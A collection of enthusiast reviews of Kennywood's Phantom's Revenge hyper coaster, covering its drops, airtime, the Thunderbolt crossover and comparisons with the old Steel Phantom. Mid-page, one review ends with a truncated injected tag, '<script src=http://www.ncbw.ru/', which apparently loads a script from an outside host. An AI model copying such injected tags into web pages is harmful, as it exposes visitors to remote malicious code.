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This ride is tall, fast, smooth, and has tons of airtime. This coaster has the best use of the landscape that I have seen, so far. It is built on the side of a hill. The crossover with Thunderbolt adds to the thrill factor on both coasters. This park really knows how to use their real estate. Night rides on this coaster are excellent. There are no lights on the track itself, just some ambient light from nearby rides. The ride is thrilling enough when you know what is coming, but when you dont quite know what is next, it takes on a whole new dimension. I am rounding my rating down half a point. This coaster is a 9.5 in my opinion.
An excellent hyper coaster. I would actually give it a 9.5 though, because the restraints are hard to grip and the end is a bit too rough. Oh well. It is still a one-of-a-kind roller coaster. Many people say that it is not as good as the Steel Phantom because it does not have any loops, but in my opinion the reason the Steel Phantom closed was because it was far too rough, which this ride really makes up for.
This ride is very fun. I remember the first time riding it I was so excited and nervous in line. When I got on I felt so pumped up. The lift hill isnt really bad, and you get a very nice view. The first drop is very fun and the second drop is the best part of the ride. It looks like you are going to smack your head on the Thunderbolt. The second drop is very fast, and it is hard to believe you are going at the high of speed. The big curve is amazing and the turn under the Thunderbolt is another one of those "head smackers" that make you duck. The hops toward the end can be violent, but fun. The double downer is fun and pops you out of your seat. After it starts down the first hillit goes so incredibly fast the rest of the ride and only slows down some. An amazing ride and a must ride!
I absoluely love Phantoms Revenge!! I never rode The Steel Phantom, due to the fact, I like to ride, coasters, with a smoother ride. The airtime, on the PR is spectacular. I first rode, the PR, in 2002, the second year it opened. When I rode the coaster, I was like
wow! What an awesome ride!! I just ran back in line, for another ride. I stongly encourage, anyone to go to Kennywood, and ride The Phantoms Revenge. I dont care what mode of tranportation you use-- drive, fly in a plane, by boat, train, whatever, just go to Kennywood, and ride the PR. Youll be glad that you did. The Phantoms Revenge, is by far, the best coaster, of all the coasters, that Kennywood has. The highest number of times, that I rode the PR, during visit to Kennywood, is 6 times, throughout, the course, of the day. They were running both trains that day.I currently, have been on The Phantoms Revenge,around 120 times,and each time, that I ride the PR,it keeps getting better and better.My voice gets a bit raspy, due to the cheering and laughing,when I ride The Phantoms Revenge. The airtime, on the bunny hops, is AWESOME! When going down the second hill,the negative-gs,make you feel like,youre riding on a cusion of air. Its just a spectacular experience! The speed on The Phantoms Revenge,is amazing,you feel like youre flying. DH Morgan hyper-coasters rule!!
Phantoms Revenge is fantastic. The first drop was interesting, but its best part is the 23 story second drop that goes through the Thunderbolt. The bunny hops near the end look decieving. They look gentle, but they pop you right out of your seat. I also like its history. It started out as an Arrow looper/hypercoaster. I got to ride it before it closed, but this is a hair better. Its the loops on SP versus the bunny hops on this. What wins? its a debate. Overall, this is my #2 coaster.
Wow! I love this ride. The lift hill might be the slowest hill in the world but that first drop into the straight track for the second hill is great. The second hill is the best, you go flying into a valley. This coaster is fast and smooth. You get air time all over the back half of this ride. I rode it at night during kennywoods phanton fright nights. Just a great ride.
The highlight of a coaster for me is its first drop. Nothing can compare to that rush you get as the train slowly is detached from the lift, leaving you to the mercy of gravity. So of course, one of the things that had me wanting to visit Kennywood so desperately was the fact that the Phantoms Revenge had two major hills (that, and all the historical ride). Looking at the ride in pictures, I couldnt see where you would get all this airtime that everyone had raved about. There only seemed to be (besides the second drop) three or so places that would offer some airtime.
Entering Kennywood, Phantom dominates the skyline. It really is a magnificent sight entering the parking lot, because besides the Sky Coaster and Pitt Fall, there is nothing else higher than it. It just seems to rise above the trees, and the rest of the track (excluding the second hill) was below the tree line. Walking into the queue, I didnt want to get my hopes up and experience a case of anticapointment. However, I couldnt help but be as estatic as I was just by the sight of it. You couldnt get a good prospective on how far you would dive down the side of the cliff, so that made it all the more exciting. Not knowing whether this would be my only ride, I took a back seat.
The seats are comfortable, but after being spoiled by those of Apollos Chariot, they just cant compare. Still, the lap bar gives you plenty of room. It almost seems like its not even there. The brakes holding the train are released as the station kept on filling up with people and we slowly climbed the lift into the sky. Like other Arrow coasters, the lift was loud and fairly slow. However, this only gives you time to look down on Lost Kennywood, as well as the surrounding area.
After cresting the top, the train immediately twists down the terrifying first drop before leveling out on a straightaway which gives you a good feel as to how fast your going (60 MPH). Climbing the next hill, you even get a touch of airtime towards the back. This was the part I had been anticipating. Having already been going at around 20 MPH, the train dives down the 230 foot plunge. While the drop wasnt as steep as the other coasters Im used to regularly riding (Storm Runner, for instance), it still was spectacular. You float the whole way down, before diving underneath Thunderbolt (producing a great armchopper) and diving to the left and up in a curve with produces a large amount of Gs. Before you know it, youre diving right back through the same structure.
The track levels out a little as it climbs back up which produces a quick dose of airtime which catches you off guard. After the high speed curve, the ride goes completely insane. I didnt think there could be so much airtime within such a short amount of track! Every downhill part gives ejector air, the first of which being on a double down, before diving under the brake run and going upwards before entering another double down. When you go through the second double down, you can see everyones heads bopping up and down due to the extreme airtime and extreme positive Gs. Then, the train skims the surface of the ground before entering a double up, again producing an insane amount of airtime.
To put it short and sweet, this ride is out of control! Its absolutely insane, with the airtime being more forceful and abundundant that I expected it to be. The terrain only adds to it, and with two major drops, how can you go wrong? I can say there is only one other roller coaster better, and that is Apollos Chariot. The airtime is insane, and with the lapbars you literally feel as if you could be thrown from the track at any time. Who wouldve thought a 3,200 foot track could have such a punch?<script src=http://www.ncbw.ru/
phantoms revenge made a big impression on me, no doubt. the first drop is very violent swooping curve, which, if planted in the rear car, will snap you over righteously quick so your right eye brow is pointed at the ground 160 feet below and then usher you down to that very ground in about a second and a half whereupon you will then find yourself screaming across a straight-away with your hair blowing all the way back and tears pouring outof your eyes. after the slow loud chain lift this first section really woke me up and gave me a ripe start of fear. PR has a nasty side to it! the second drop is a sheer stuka bomb down into a pinhole squeeze under the thunderbolt. while the first drop left me a little senseless, the second drop makes the first seem like gliding down a mosquito bite by comparison. it is a long harrowing fall and the butterflies in your stomach will flap their wings all the way to the bottom until you slam into the pull out. i tell you frankly folks, this pull-out was brutal and too much for hrry. some years ago i was hard up for cash so i volunteered for a medical study and the nurse, who looked a lot like nell carter, started removing tube after tube of blood from my arm. i felt kind of swimmy and nell said, "are you ok?" as i began a slow arc towards the floor. after she got me upright and seated she said with a chuckle, "i dont think this study is for you. not to sound racist or anything, but usually skinny white boys like you pass out every time after a few tubes of blood." well, ive found that in my old age, serious positive G moments on coasters make me a little woozy too. the moral of the story: this skinny white boy needs blood in his brain, and brain draining G forces on coasters counter that need. now if any of you manly skinny white boys out there feel the need to chime in that youve never gone dark after giving blood or on phantoms revenge i will throw a fit and i will personally write the code for a virus that will enter your computer and replace all of your choice porn with mpegs of outtakes from "barney the dinosaur" and also destroy all of your "no limits" coaster models you spent hours working on. so dont do it! refrain please! but now back to phantoms revenge. after the wet-tuxedo feeling G-forces preceding the second drop you spin around and up into a very shocking section which is quite unforgettable. the fabled "bunny hops" on PR are indeed ALL THAT and they are the most f***ed up round of spasmodic ejection air you will get on any coaster. its not like wood coaster air. its different. it reminds me of an abrupt and disturbing row of hiccups. you know how sometimes you get hiccups, and they are so unpredictable, rough and rib-cage rattling that they seem a little painful, but funny at the same time? well thats how the ending of the phantoms revenge is. it is more a ride that will astonish you rather than exhilarate you. most of the folks coming into the station have the same "whoa nelly" look on their faces, a look saying "that was fun, but if it was a second longer id be leaving this thing in a straight jacket." ill ride it again next time i go to kennywood, but probably only once. i cant take too much of that madness, but it is an exquisite madness.
Times ridden: 2(including Steel Phantom) ~ Ride experience: 9 ~ Layout: 10 ~ Thrill factor: high ~ Nausea factor: high ~ Airtime: high ~ Landscaping/surroundings: 8 ~ Evaluation: Five years ago, when I rode Steel Phantom on its very last day of operation, I had a brutal experience that gave Steel Phantom the title of being one of the worst coasters Ive ever experienced. Five years later, I had the chance of riding the redesigned version of the Phantom. Although Phantoms Revenge didnt live up to the expectations I had for it, one thing stood out for sure...its a huge improvement over its predecessor. The ride still features its original 160 foot lift hill and drop, everything else changed, including an extended second drop, extended [new] layout, and not to mention, new trains. The trains are roomy, but not too comfortable, they feature totally unique restraints which give passengers a sense of freedom while being secure. Phantoms Revenge also features massive airtime that will have you jumping up and down in your seat, and fantastic head choppers when the train goes right through the historic Thunderbolt wooden coaster. Overall, Phantoms Revenge is very thrilling, very scary, and most of all, very fun.
This was INCREDIBLE!!! It dosent just have airtime, it throws you up, out of your seat and rips you back down. thats what I like to call " AIRTIME ON STERIODS".
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